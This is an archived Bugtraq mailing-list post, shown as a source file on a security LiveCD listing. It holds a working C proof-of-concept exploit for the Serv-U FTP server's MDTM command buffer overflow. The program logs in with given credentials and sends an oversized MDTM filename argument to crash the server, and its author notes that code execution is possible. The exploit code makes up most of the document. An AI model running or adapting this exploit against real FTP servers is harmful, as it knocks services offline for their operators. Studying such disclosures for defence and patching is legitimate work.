home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / serv-u-mdtm-expl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  149 lines

  1. Hello Bugtraq,
  2.  
  3. I have written a PoC exploit for the MDTM command
  4. buffer overflow found in Serv-U by bkbll.  This
  5. exploit only crashes the Serv-U server, as releasing a
  6. arbitrary code execution exploit when the vendor has
  7. not yet supplied a patch/fix is not a good idea when
  8. certain unruly people might get their hands on it. 
  9. Here it is, test your systems, temporarily disable
  10. Serv-U, and wait for the vendor to release a patch.
  11.  
  12.  
  13. ---START
  14. /* serv-u-mdtm-expl.c - Serv-U "MDTM" buffer overflow
  15. PoC DoS exploit.
  16.  *
  17.  * This program will send an overly large filename
  18. parameter when calling
  19.  * the Serv-U FTP MDTM command.  Although arbitrary
  20. code execution is
  21.  * possible upon successful execution of this
  22. vulnerability, the vendor has
  23.  * not yet released a patch, so releasing such an
  24. exploit could be disastrous
  25.  * in the hands of script kiddies.  I might release a
  26. full exploit to the
  27.  * public when a patch/fix is issued by the vendor of
  28. Serv-U.  This PoC
  29.  * exploit will simply crash the Serv-U server.
  30.  *
  31.  * This vulnerability was discovered by bkbll, you can
  32. read his advisory on
  33.  * the issue here:
  34. <http://www.cnhonker.com/advisory/serv-u.mdtm.txt>
  35.  *
  36.  * This vulnerability requires a valid login and
  37. password to exploit!  This
  38.  * PoC does not check to see if you supplied a correct
  39. login and password.
  40.  *
  41.  * I do not take responsibility for this code.
  42.  *
  43.  * -shaun2k2
  44.  */
  45.  
  46. #include <stdio.h>
  47. #include <stdlib.h>
  48. #include <sys/socket.h>
  49. #include <sys/types.h>
  50. #include <netdb.h>
  51. #include <netinet/in.h>
  52.  
  53. int main(int argc, char *argv[]) {
  54.         if(argc < 5) {
  55.                 printf("Serv-U 'MDTM' buffer overflow
  56. DoS exploit.\n");
  57.                 printf("by shaun2k2 -
  58. <shaunige@yahoo.co.uk>.\n\n");
  59.                 printf("Usage: %s <host> <port>
  60. <login> <password>\n", argv[0]);
  61.                 exit(-1);
  62.         }
  63.  
  64.         int sock;
  65.         char *explbuf;
  66.         char loginbuf[100];
  67.         char passwdbuf[100];
  68.         struct sockaddr_in dest;
  69.         struct hostent *he;
  70.  
  71.         /* lookup IP address of supplied hostname. */
  72.         if((he = gethostbyname(argv[1])) == NULL) {
  73.                 printf("Couldn't resolve %s!\n",
  74. argv[1]);
  75.                 exit(-1);
  76.         }
  77.  
  78.         /* create socket. */
  79.         if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
  80. 0) {
  81.                 perror("socket()");
  82.                 exit(-1);
  83.         }
  84.  
  85.         /* fill in address struct. */
  86.         dest.sin_family = AF_INET;
  87.         dest.sin_port = htons(atoi(argv[2]));
  88.         dest.sin_addr = *((struct in_addr
  89. *)he->h_addr);
  90.  
  91.         printf("Serv-U 'MDTM' buffer overflow DoS
  92. exploit.\n");
  93.         printf("by shaun2k2 -
  94. <shaunige@yahoo.co.uk>.\n\n");
  95.  
  96.         printf("Crafting exploit buffer...\n\n");
  97.         /* craft exploit buffers. */
  98.         sprintf(loginbuf, "USER %s\n", argv[3]);
  99.         sprintf(passwdbuf, "PASS %s\n", argv[4]);
  100.         explbuf = "MDTM
  101. 20031111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/test.txt";
  102.  
  103.  
  104.         printf("[+] Connecting...\n");
  105.         if(connect(sock, (struct sockaddr *)&dest,
  106. sizeof(struct sockaddr)) < 0) {
  107.                 perror("connect()");
  108.                 exit(-1);
  109.         }
  110.  
  111.         printf("[+] Connected!\n\n");
  112.  
  113.         printf("[+] Sending exploit buffers...\n");
  114.         sleep(1); /* give the serv-u server time to
  115. sort itself out. */
  116.         send(sock, loginbuf, strlen(loginbuf), 0);
  117.         sleep(2); /* wait for 2 secs. */
  118.         send(sock, passwdbuf, strlen(passwdbuf), 0);
  119.         sleep(2); /* wait before sending large MDTM
  120. command. */
  121.         send(sock, explbuf, strlen(explbuf), 0);
  122.         sleep(1); /* wait before closing the socket.
  123. */
  124.         printf("[+] Exploit buffer sent!\n\n");
  125.  
  126.         close(sock);
  127.  
  128.         printf("[+] Done!  Check if the Serv-U server
  129. has crashed.\n");
  130.  
  131.         return(0);
  132. }
  133. ---END
  134.  
  135. I hope you find this useful in some way...
  136.  
  137.  
  138. Thank you for your time.
  139. Shaun.
  140.  
  141.  
  142.     
  143.     
  144.         
  145. ___________________________________________________________
  146. Yahoo! Messenger - Communicate instantly..."Ping" 
  147. your friends today! Download Messenger Now 
  148. http://uk.messenger.yahoo.com/download/index.html
  149.